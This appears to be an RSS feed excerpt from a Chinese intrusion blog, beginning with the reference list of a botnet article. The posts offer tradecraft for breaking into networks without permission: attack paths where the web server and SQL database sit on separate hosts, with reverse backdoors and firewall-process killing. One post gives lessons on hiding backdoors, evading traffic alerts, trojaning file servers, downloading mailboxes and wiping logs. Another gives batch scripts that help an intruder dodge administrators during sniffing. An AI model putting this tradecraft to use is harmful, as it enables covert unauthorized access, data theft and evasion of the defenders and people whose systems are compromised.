<p>[<a name="ref-1"></a>1] McMillan, Robert. “DNS Attack Writer a Victim of His Own Creation.” PC World, July 29, 2008. (<a href="http://www.pcworld.com/article/149125/dns_attack_writer_a_victim_of_his_own_creation.html">http://www.pcworld.com/article/149125/dns_attack_writer_a_victim_of_his_own_creation.html</a>)</p>
<p>[<a name="ref-2"></a>2] Invisible Denizen. “Kaminsky’s DNS Issue Accidentally Leaked?” July 21 2008. (<a href="http://blog.invisibledenizen.org/2008/07/kaminskys-dns-issue-accidentally-leaked.html">http://blog.invisibledenizen.org/2008/07/kaminskys-dns-issue-accidentally-leaked.html</a>)</p>
<p>[<a name="ref-3"></a>3] IDG News Service staff. “DNS Attack Writer a Victim of His Own Creation.” PC World, July 30, 2008. (<a href="http://www.pcworld.com/businesscenter/article/149136/dns_attack_writer_a_victim_of_his_own_creation.html">http://www.pcworld.com/businesscenter/article/149136/dns_attack_writer_a_victim_of_his_own_creation.html</a>)</p>
<p>[<a name="ref-4"></a>4] Moore, H D. “DNS Attacks in the Wild.” Metasploit, July 28, 2008. (<a href="http://blog.metasploit.com/2008/07/on-dns-attacks-in-wild-and-journalistic.html">http://blog.metasploit.com/2008/07/on-dns-attacks-in-wild-and-journalistic.html</a>)</p>
<p>[<a name="ref-5"></a>5] F-Secure. “Calculating the Size of the Downadup Outbreak.” Weblog: News from the Lab. January 16, 2009. (<a href="http://www.f-secure.com/weblog/archives/00001584.html">http://www.f-secure.com/weblog/archives/00001584.html</a>)</p>
<p>[<a name="ref-6"></a>6] Phillip Porras, Hassen Saidi, and Vinod Yegneswaran. “An Analysis of Conficker’s Logic and Rendezvous Points.” SRI International, February 4, 2009. (<a href="http://mtc.sri.com/Conficker/">http://mtc.sri.com/Conficker/</a>)</p>
<p>[<a name="ref-7"></a>7] Phillip Porras, Hassen Saidi, and Vinod Yegneswaran. “An Analysis of Conficker’s Logic and Rendezvous Points.: SRI International, February 4, 2009. (<a href="http://www.f-secure.com/weblog/archives/00001584.html">http://mtc.sri.com/Conficker/#appendix-1</a>)</p>
<p>[<a name="ref-8"></a>8] The Tor Project (<a href="http://www.torproject.org/">http://www.torproject.org/</a>)</p>
<p>[<a name="ref-9"></a>9] Federico Biancuzzi. “The Quest for ring 0.” Security Focus, May 10, 2006. (<a href="http://www.securityfocus.com/columnists/402">http://www.securityfocus.com/columnists/402</a>)</p>
<p>[<a name="ref-10"></a>10] “Proxy Chains” (<a href="http://proxychains.sourceforge.net/">http://proxychains.sourceforge.net/</a>)</p>
<h1><a id="11" name="11"></a>Acknowledgments</h1>
<p>Cisco Security Intelligence Operations</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2012年01月2日 -- <a href="http://www.4shell.org/archives/2074.html" title="How to attack a windows domain">How to attack a windows domain</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2054.html" title="Citrix密码绕过漏洞引发的渗透">Citrix密码绕过漏洞引发的渗透</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1888.html" title="哈希注入工具wce">哈希注入工具wce</a></li><li>2010年07月17日 -- <a href="http://www.4shell.org/archives/1808.html" title="渗透某大型内网入侵过程">渗透某大型内网入侵过程</a></li><li>2010年04月29日 -- <a href="http://www.4shell.org/archives/1734.html" title="域环境下的渗透">域环境下的渗透</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1721.html" title="专业渗透人员在渗透过程中注意事项">专业渗透人员在渗透过程中注意事项</a></li><li>2009年07月1日 -- <a href="http://www.4shell.org/archives/817.html" title="web和数据库分离的渗透思路">web和数据库分离的渗透思路</a></li><li>2009年06月23日 -- <a href="http://www.4shell.org/archives/798.html" title="渗透,目的不单纯">渗透,目的不单纯</a></li><li>2009年04月17日 -- <a href="http://www.4shell.org/archives/771.html" title="当渗透中实时检测管理员的bat">当渗透中实时检测管理员的bat</a></li><li>2007年03月13日 -- <a href="http://www.4shell.org/archives/154.html" title="入侵日本某官方Game">入侵日本某官方Game</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1061.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>web和数据库分离的渗透思路</title>
		<link>http://www.4shell.org/archives/817.html</link>
		<comments>http://www.4shell.org/archives/817.html#comments</comments>
		<pubDate>Wed, 01 Jul 2009 09:08:36 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[渗透]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/817.html</guid>
		<description><![CDATA[1.web,sql分离(sql上网),sa. 读系统用户密码或加用户反弹,种反弹型后门.<br/><br/>2.web,sql分离(sql不上网),sa. 把和防火墙和策略有关的服务或进程kill掉再测试是否上网 收集尽量多的密码表.sqlsniffer findpass gethashs ipc$猜web密码 vbs读系统日志查看管理员登陆IP 有可能的话导出注册表的secpol查看策略规则.<br/><br/><br/>3.web,sql分离(sql上网),dbo_owner. 猜密码进web后台. 备份hta到启动项<br/><br/>4.web,sql分离(sql不上网),dbo_owner.猜密码进web后台.<br/>...
]]></description>
			<content:encoded><![CDATA[<p>1.web,sql分离(sql上网),sa. 读系统用户密码或加用户反弹,种反弹型后门.<br/><br/>2.web,sql分离(sql不上网),sa. 把和防火墙和策略有关的服务或进程kill掉再测试是否上网 收集尽量多的密码表.sqlsniffer findpass gethashs ipc$猜web密码 vbs读系统日志查看管理员登陆IP 有可能的话导出注册表的secpol查看策略规则.<br/><br/><br/>3.web,sql分离(sql上网),dbo_owner. 猜密码进web后台. 备份hta到启动项<br/><br/>4.web,sql分离(sql不上网),dbo_owner.猜密码进web后台.<br/><br/>(重点在4,在opendatasource的时候不要以为弹不到外面的1433就不上网了,可以尝试其他的端口 比如20 21 25 443 445 80等防火墙经常开放的端口)<br/></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2012年01月2日 -- <a href="http://www.4shell.org/archives/2074.html" title="How to attack a windows domain">How to attack a windows domain</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2054.html" title="Citrix密码绕过漏洞引发的渗透">Citrix密码绕过漏洞引发的渗透</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1888.html" title="哈希注入工具wce">哈希注入工具wce</a></li><li>2010年07月17日 -- <a href="http://www.4shell.org/archives/1808.html" title="渗透某大型内网入侵过程">渗透某大型内网入侵过程</a></li><li>2010年04月29日 -- <a href="http://www.4shell.org/archives/1734.html" title="域环境下的渗透">域环境下的渗透</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1721.html" title="专业渗透人员在渗透过程中注意事项">专业渗透人员在渗透过程中注意事项</a></li><li>2009年08月27日 -- <a href="http://www.4shell.org/archives/1061.html" title="Infiltrating a Botnet">Infiltrating a Botnet</a></li><li>2009年06月23日 -- <a href="http://www.4shell.org/archives/798.html" title="渗透,目的不单纯">渗透,目的不单纯</a></li><li>2009年04月17日 -- <a href="http://www.4shell.org/archives/771.html" title="当渗透中实时检测管理员的bat">当渗透中实时检测管理员的bat</a></li><li>2007年03月13日 -- <a href="http://www.4shell.org/archives/154.html" title="入侵日本某官方Game">入侵日本某官方Game</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/817.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>渗透,目的不单纯</title>
		<link>http://www.4shell.org/archives/798.html</link>
		<comments>http://www.4shell.org/archives/798.html#comments</comments>
		<pubDate>Tue, 23 Jun 2009 05:06:26 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[渗透]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/798.html</guid>
		<description><![CDATA[作者：Firefox<br/><br/>帮朋友忙 帮到目的不单纯 好可怜 被好多兄弟教训了<br/>甚至被威胁了下...<br/>总结下 教训...<br/>关于单臂路由如果掌握到设备权限还是可以继续玩，另外一些对拨的vpn如果没有做好限制也可以溜达溜达，如果是帮忙的话 还是小心翼翼的溜达，不要做什么很实际的操作了，因为...<br/><br/>先说设备<br/>IPS IDS 自然不说了 现在这些都搞复合呢 all in one 行为管理也有
]]></description>
			<content:encoded><![CDATA[<p>作者：Firefox<br/><br/>帮朋友忙 帮到目的不单纯 好可怜 被好多兄弟教训了<br/>甚至被威胁了下...<br/>总结下 教训...<br/>关于单臂路由如果掌握到设备权限还是可以继续玩，另外一些对拨的vpn如果没有做好限制也可以溜达溜达，如果是帮忙的话 还是小心翼翼的溜达，不要做什么很实际的操作了，因为...<br/><br/>先说设备<br/>IPS IDS 自然不说了 现在这些都搞复合呢 all in one 行为管理也有给复合进去的<br/>在说流量报警和时间 流量报警现在和手机整合的 就是说如果在一个日均1Gb流量的网络下载一个大家伙流量超出界定范围会被发送到手机流量异常，说到手机这个东西现在的确发达了，有时候发邮件也要先搞清楚对方是不是手机在收，不过有些人貌似有手机软件的0day ...<br/>然后有比较业务化的一些规则 比如行为+时间 这样算因子？或者还有更多因子的 比如在9:00-17:30之外玩个IPC$或者ftp外部再或者发个邮件，那么又被记录了...<br/><br/>说到这里好像记得电子科技大学一个老师讲那个搞某大公司的牛人将搞到的东西分成NNNN个份更改为容量不大于某值的.gif,然后每天定时定量分多次下载... 回想自己好像根本就没这方面的意识...这次丢人丢大了<br/>说说这次吸取的教训和累积的经验，当然主要是对一些相对严格的网络环境<br/><br/>1、不要采用相同的留后门的方式<br/>虽然自己平时也不用后门，但是有时候为了方便还是要装下，这个时候对自己占领的土地一定要分块分类型来安装后门，如果手法只有一种那么很可能被一次扫地出门（这点感谢叮当给的意见）。<br/><br/>2、留后门也要看人<br/>留后门选什么样的机器也是一种学问，如果找一个CTO的机器给他屁股上开个洞他会很敏感滴，这次我被cto猛揍了一顿，选一台边缘机器吧，比如财务菜鸟...比如公共用的上网机..<br/><br/>3、时间很重要<br/>在拿到某设备权限后看到一张自己创造的流量图，我竟然搞出在对方的凌晨1点web上流量峰值和下午5-6点的值竟然持平，所以以后要养成习惯，先分析设备，分析时差，然后再考虑下一步的动作。<br/><br/>4、别映射磁盘了<br/>这个不多说了，映射很容易被发现，太明显了，还是dir来看吧，看到想要的xcopy回来好了，这样至少安全点。（这点感谢"九局下半"这个名字是艺名，复ID）。<br/><br/>5、关于vpn<br/>一些对拨vpn设置比较变态，但是如果分析清楚架构是可以穿透这些限制，当修改这些配置的时候应该先停止设备通知，再备份配置，添加直接入口，最后再改设置，这样可以保证自己搞错时还有机会更改。<br/><br/>6、熟悉服务<br/>熟悉网络后要熟悉服务，这样挑选对方主要网络服务，主要软件，然后在fileserver上做些手脚，当然时间要克隆一下，也别动太疯狂了，另外切记选好目标，不可以随便找个adobe的pdf浏览器下手，如果遇到负责的管理员，adobe更新软件之日就是那特洛伊的忌日了，。<br/><br/>7、找找同行<br/>这个情况很常见，这次也遇到了，这时最好是分析分析和我奋战在同一服务器的兄台什么时间来玩、怎么玩、玩了之后留下些什么，这样当自己再也无法闯进去的时候、或者这位兄台不仗义把我一脚蹬出去的时候，我还可以拿他钥匙再来坐坐。<br/><br/>8、邮件&#038;文档<br/>选择好时间，尽量在不触发设备规则的时候把pst文件和重要文档down了，另外在清理自己痕迹前最好先把服务器日志完整down一份，方便以后分析。<br/><br/>扯了这么多都是这次吸取的教训，血泪的教训...<br/>贴士:<br/>今天看到一句话,很是崇拜<br/>"一个人什么都会就意味着什么都不会；当你觉得自己一无是处的时候离成功才最近"</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2012年01月2日 -- <a href="http://www.4shell.org/archives/2074.html" title="How to attack a windows domain">How to attack a windows domain</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2054.html" title="Citrix密码绕过漏洞引发的渗透">Citrix密码绕过漏洞引发的渗透</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1888.html" title="哈希注入工具wce">哈希注入工具wce</a></li><li>2010年07月17日 -- <a href="http://www.4shell.org/archives/1808.html" title="渗透某大型内网入侵过程">渗透某大型内网入侵过程</a></li><li>2010年04月29日 -- <a href="http://www.4shell.org/archives/1734.html" title="域环境下的渗透">域环境下的渗透</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1721.html" title="专业渗透人员在渗透过程中注意事项">专业渗透人员在渗透过程中注意事项</a></li><li>2009年08月27日 -- <a href="http://www.4shell.org/archives/1061.html" title="Infiltrating a Botnet">Infiltrating a Botnet</a></li><li>2009年07月1日 -- <a href="http://www.4shell.org/archives/817.html" title="web和数据库分离的渗透思路">web和数据库分离的渗透思路</a></li><li>2009年04月17日 -- <a href="http://www.4shell.org/archives/771.html" title="当渗透中实时检测管理员的bat">当渗透中实时检测管理员的bat</a></li><li>2007年03月13日 -- <a href="http://www.4shell.org/archives/154.html" title="入侵日本某官方Game">入侵日本某官方Game</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/798.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>当渗透中实时检测管理员的bat</title>
		<link>http://www.4shell.org/archives/771.html</link>
		<comments>http://www.4shell.org/archives/771.html#comments</comments>
		<pubDate>Fri, 17 Apr 2009 00:54:49 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[小技巧]]></category>
		<category><![CDATA[渗透]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/771.html</guid>
		<description><![CDATA[作者：逗号<br /><br />- -! 来了TOOLS 这么久还没写过东西现在给大家贡献点东西<br />当你在渗透中挂机嗅探的时候，如果管理员上来发现就不好了所以有了这个bat 的用处<br />检测管理员上线注销自已的 bat<br />copy 保存为 xx.bat<br /><br /><p class="code"><code>@echo&#160;off<br />:check<br />choice&#160;/C&#160;YN&#160;/T&#160;10&#160;/D&#160;Y<br />quser&#160;&#124;&#160;find&#160;"#16"&#160;&#160;&#038;&&#160;del&#160;xx.bat&#160;&#124;&#160;logoff<br />goto&#160;check<br /></code></p>说明一下<br />#16 每次运行这个 bat 的时候先quser 一下，看当前的会话id 是多少，然后加1 每连接一次就会加1<br />...
]]></description>
			<content:encoded><![CDATA[<p>作者：逗号</p>
<p>- -! 来了TOOLS 这么久还没写过东西现在给大家贡献点东西<br />当你在渗透中挂机嗅探的时候，如果管理员上来发现就不好了所以有了这个bat 的用处<br />检测管理员上线注销自已的 bat<br />copy 保存为 xx.bat</p>
<p class="code"><code>@echo&nbsp;off<br />:check<br />choice&nbsp;/C&nbsp;YN&nbsp;/T&nbsp;10&nbsp;/D&nbsp;Y<br />quser&nbsp;|&nbsp;find&nbsp;"#16"&nbsp;&nbsp;&#038;&&nbsp;del&nbsp;xx.bat&nbsp;|&nbsp;logoff<br />goto&nbsp;check<br /></code></p>
<p>说明一下<br />#16 每次运行这个 bat 的时候先quser 一下，看当前的会话id 是多少，然后加1 每连接一次就会加1<br />用户名 会话名 ID 状态 空闲时间 登录时间<br />administrator rdp-tcp#22 2 运行中 . 2009-4-16 19:24</p>
<p>你要把这个给改成 #23 就可以了 然后下一个连接进来的时候就会注销自已</p>
<p>哪位牛帮忙改一下，判断 如果 比 rdp-tcp#22 大的连接进来的话就注销自已<br />choice /C YN /T 10 /D Y<br />/T 10 是 10 秒一检测 这样是为了不太占CPU<br />by dh<br />为了渗透的方便，顺便帖上一个很淫的人写的一个 bat 方便大家<br />嗅探中当机的一点点启示<br />by chong<br />很多朋友在嗅探的时候肉猪一不小心就挂了.那个后悔啊.....<br />当然 你要选择尽量少的服务来嗅.比如你要嗅目标的1433及80.那你嗅其他的就没用罗.<br />这样会大大的减少当机的可能性.如果看到丢包率超过10%就要注意啦. 赶紧停掉,看看那里没设置好吧.<br />如果还是不小心挂了呢.<br />没事.这里为您准备了一个BAT 在开嗅的时候运行它就行了哦.<br />======start=========</p>
<p class="code"><code>:ping<br />choice&nbsp;/C&nbsp;YN&nbsp;/T&nbsp;120&nbsp;/D&nbsp;Y<br />ping&nbsp;g.cn<br />IF&nbsp;ERRORLEVEL&nbsp;&nbsp;&nbsp;1&nbsp;GOTO&nbsp;reboot<br />IF&nbsp;ERRORLEVEL&nbsp;&nbsp;&nbsp;0&nbsp;GOTO&nbsp;ping<br />:reboot<br />shutdown&nbsp;/r&nbsp;/t&nbsp;0<br /></code></p>
<p>======end=========<br />这里的g.cn你可以设置为网关的IP或你的IP<br />如果能ping通的话就继续ping 如果不通的话就认为当机了 (当然.你要事先测试下)<br />那.就重启罗. 或自己写一些语句 像结束cain等.自由发挥</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2012年01月31日 -- <a href="http://www.4shell.org/archives/2078.html" title="命令行导出IIS配置信息">命令行导出IIS配置信息</a></li><li>2012年01月2日 -- <a href="http://www.4shell.org/archives/2074.html" title="How to attack a windows domain">How to attack a windows domain</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2054.html" title="Citrix密码绕过漏洞引发的渗透">Citrix密码绕过漏洞引发的渗透</a></li><li>2011年11月24日 -- <a href="http://www.4shell.org/archives/2051.html" title="域内指定用户中马">域内指定用户中马</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1958.html" title="Linux下MySQL的load_file常用路径">Linux下MySQL的load_file常用路径</a></li><li>2011年06月6日 -- <a href="http://www.4shell.org/archives/1956.html" title="linux渗透小技巧">linux渗透小技巧</a></li><li>2011年04月28日 -- <a href="http://www.4shell.org/archives/1888.html" title="哈希注入工具wce">哈希注入工具wce</a></li><li>2010年07月17日 -- <a href="http://www.4shell.org/archives/1808.html" title="渗透某大型内网入侵过程">渗透某大型内网入侵过程</a></li><li>2010年05月5日 -- <a href="http://www.4shell.org/archives/1750.html" title="搞内网的一个小技巧">搞内网的一个小技巧</a></li><li>2010年04月29日 -- <a href="http://www.4shell.org/archives/1734.html" title="域环境下的渗透">域环境下的渗透</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/771.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

